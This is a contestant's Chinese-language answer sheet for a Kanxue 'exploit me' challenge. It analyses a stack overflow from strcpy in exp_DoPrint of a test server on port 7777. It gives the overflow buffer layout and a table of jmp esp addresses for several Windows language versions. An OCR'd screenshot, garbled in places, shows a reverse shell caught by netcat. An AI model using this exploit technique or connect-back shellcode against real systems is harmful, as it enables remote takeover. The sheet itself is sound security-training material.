看雪辞旧迎新exploit me 挑战赛   A 题  答题卷
基本分，共30分：
	得分点
	分值描述
	实际得分

	PE分析
	描述exploit_me_A.exe文件的功能，5分
	

	漏洞描述
	通过逆向和调试，给出PE文件中漏洞原理的描述 5分
	

	shellcode功能
	描述shellcode的功能，2分
	

	exploit截图
	shellcode运行成功时的屏幕截图，3分
	

	稳定性与通用性论证
	介绍自己exploit中各个关键点的解决方案，从稳定性，通用性两方面进行对exploit进行论证和评价，10分
	

	exploit代码运行
	提交的exploit将在XP SP2虚拟机中试运行，用于检验exploit的通用性与稳定性。如在验证环境下能够通过，得5分。（注意：本项得分可能存在一定随机性，评委会拥有最终裁决权）
	


加分

	加分点
	分值描述
	实得加分

	分析速度 加分
	本题前五名提交者将获得5分加分。提交时间按照比赛过程中最后一次编辑修改的时间计算。
	

	shellcode 原创加分
	shellcode如果是自己独立开发完成，请附上详细的开发文档，并描述其中关键问题的解决方法，根据质量给予最高5分的加分。A，B两题使用相同shellcode的此项不重复加分。
	

	分析报告文字质量
	根据分析报告的行文质量，思路，层次，叙述方式等，发现特别优秀的给出1～3分的加分
	

	整个过程中使用的其他创新性技术
	请在分析报告中明确指出，此项加分不定
	


注意：比赛结束前，严禁在提交版面以外以任何形式讨论赛题，否则立刻取消资格。
提交者看雪ID：nop
职业：（学生、程序员、安全专家、黑客技术爱好者、其他？）
IT民工
PE分析：
PE的功能是在所有网络接口的7777/tcp端口监听,接收用户的输入,然后将其输出到exploit target server 1.0 运行所在的CMD窗口.
漏洞描述：
IDA分析exploit_me_A.exe ,很快定位到了溢出的位置.首先看main函数:
[image: image1.png]|ted - EOL, 1ESDTREE.
push  eax 3 flags|
rep stosd
lea  ecx, [esp+JHl
push 2000 5 len
push  ecx 3 buf
push  ebx s
call  dszrecy
imou esi, eax
test esi, esi
ljge short loc_48124B
L‘Li
EAN L
push  offset aReadingStreamll ; “reading stream message errof
mou  ecx, offset duord_409A68
lcall 7605trean@@QAEARUOGPBDEZ ; ostrean: :operator<<(char const x)|
push  offset sub_u01208
push  oAn
mov  ecx, eax
lcall  ??60Stream@QAEAAUOREGZ ; ostream::operator<<(uchar)
mov  ecx, eax
call  sub n01280
[xor esi, esi
EAN L
Loc_uo1248:
lea  edx, [esp+Hll
push  edx 3 str_src
call  exp_boprint  ; FFiEisH
ladd  esp, u
test esi, esi
ljnz short loc_481288





其中exp_DoPrint()存在溢出威胁,函数作用是将用户输入的输出到console窗口.我们跟进:

[image: image2.png]5 int _cdecl exp_DoPrint(char xstr_src)
lexp_DoPrint proc near

lstr_dest= byte ptr -0c8h

lstr_src= duord ptr 4
sub  esp, ocsh

jor ecx, OFFFFFFFFh

xor  eax, eax

lea  edx, [esp+6C8h+str_dest]

push  esi

push  edi

mou  edi, [esp+@DOn+str_src]

Y
repne scasb - -

ot ecx

sub  edi, ecx

mou  eax, ecx

mou  esi, edi

mou  edi, edx

shr ecx, 2

rep movsd

mou  ecx, eax

and  ecx, 3

rep mousb

TR (AT R intinestrepyisy  FERREHE AN Hoecs
o ecx, offset duord_ubncs

lcall ??605trean@RQAEAAVBRPBDEZ ; ostreanm:
push  arfaet sun 401208

puzn o

call  7760strean@@AEAAUBRERZ ; ostream::operator<<(uchar)

perator<<(char const x)





这样看,还不太明显.转换成C:
[image: image3.png]int __cdecl exp_DoPrint(char xstr_src)
¢
char str_dest; 7/ [sp+3h] [bp-C8hiet

strepy(Bstr_dest, str_src);
Ostream_operator_("xxexxexxxxxxxxrxxnen'
ostrean_operator__(10);
sub_4812B0(sub_481200) 3
ostrean__operator__("receive
ostrean_operator__(10);
sub_4812B0(sub_481200) ;
ostrean__operator__(&str_dest);
ostrean_operator__(10);
return sub_4012B0(sub_481200);





可以看出,exp_DoPrint未对用户输入的长度进行判断,直接将用户提供的str_src字符串复制到有限长度为C8,即200字节的栈变量中,导致很典型的栈溢出(stack overflow).
因此一种溢出buffer构造如下:

|str_padding|

200字节,填充字符串

|jmp_esp_addr|
4字节,jmp/call esp跳转地址

|shellcode|

适当长度.

需要注意的一点是因为是strcpy,为了防止\x00截断,需要str_pading,jmp_esp_addr,shellcode都不含字符\x00.
另一种则是覆盖SHE handler进行利用,这里不赘述.
shellcode描述：
请注明shellcode来源：原创，修改，引用。
原创请给出开发说明

修改请给出修改说明，并注明出处，附加被引用代码

引用请给出功能描述，并注明出处，附加被引用代码
shellcode代码: 

见附件reverse.c.

来源说明:

这段shellcode修改自lion的connect_back shellcode,原始版本见:
http://www.milw0rm.com/exploits/596
修改部分: 

将Make_ShellCode进行了扩充,改成GetShellCode(unsigned char* buff, char* ipstr, unsigned int port),能够自动修改生成的shellcode,在其中写入反连的ip和port,免除手工修改麻烦.
shellcode作用:

将一个cmdshell的输入输出重新定向到socket,并将其反连回指定ip和端口.
exploit运行截图

Exploit 代码见附件: exp_me_A.cpp
[image: image4.png]1

WINDOWS\system32\cmd.exe - nc -vv -L -p 53
[c:one —wu L —p 53
listening on [anyl 53 ...

[192.168.8.2: inverse host lookup failed: h_errno 11884: NO_DATA

Tool  explit_me._,

bricrosoft Windove %P [ 5.1.26601
<G> FRATHTE 1985-2681 Microsort Gorp-

c: Wocunents and Sett ings\idministratorsfiEnet user
et uoer

exploit target server 1.8

received:

[AAAARAARAAARAARAAARAAAAAARAAAARARARAARARARAAAI :
HelpAssistant

[A0AAAAARARARAAAAAARAAAAAARAAAAAARAAAAAAR TE7 7.
N FﬁSugu %ﬂ'&% L&XXW%W’?&H’XA

w2 B2 muuuu?? ?
g s e B i c:ocunents and SettingsidninistratorsSE>ipcant iy

ipconfig

D

iindous TP Configuration

IP Address. . . . . . . . . TITITISTTOT
Subnet Mask . . . . . . ... ..: 255.255.255.0
Default Gateway . 192.168.8.1

Z: \Exp\she 11code \reverse dexp_ne_fi.exe 192.168.9.2 192.168.0.108 53
[+1 shellcode is 275 bytes.
[%1 connect to 192.168.0.2:7777 .

[x] send payload ... Failed. };ﬁ{‘ﬁﬁk’lﬂnﬁz

og In Milfrd Sound, New Zealand. Z: \Exp\she 11code \reverse >
Photograph by David MeLainy.




稳定性与通用性论证

通用性: 这个explioit用的是jmp_esp跳转,但是jmp_esp地址(据我所知)没有和操作系统语言无关的通用地址,所以这个溢出依赖于操作系统的语言版本,为了达到通用溢出,可以根据os语言进行微调:

{ 0x7ffa4512, "CHS    jmp esp win2k/xp/2003 all"
},


{ 0x7ffb6fd0, "JAP    jmp esp"
},


{ 0x7ffc37b6, "Big5   jmp esp"
},


{ 0x7ffa4a1b, "Korean jmp esp"
},
稳定性:

这个shellcode只是最普通的connect_back shellcode,因此不能过KAV,McAfee等的主动防御检测.

另外,如果被攻击机器的CPU支持Hard Dep且, boot.ini开启了DEP选项,即/NOEXECUTE=OptOut
除了...,都保护 Windows2003 默认 
/NOEXECUTE=ALWAYSON
对所有开启保护
则这个溢出也会因为栈不可执行而失败.
创新性论证（可选）
暂无
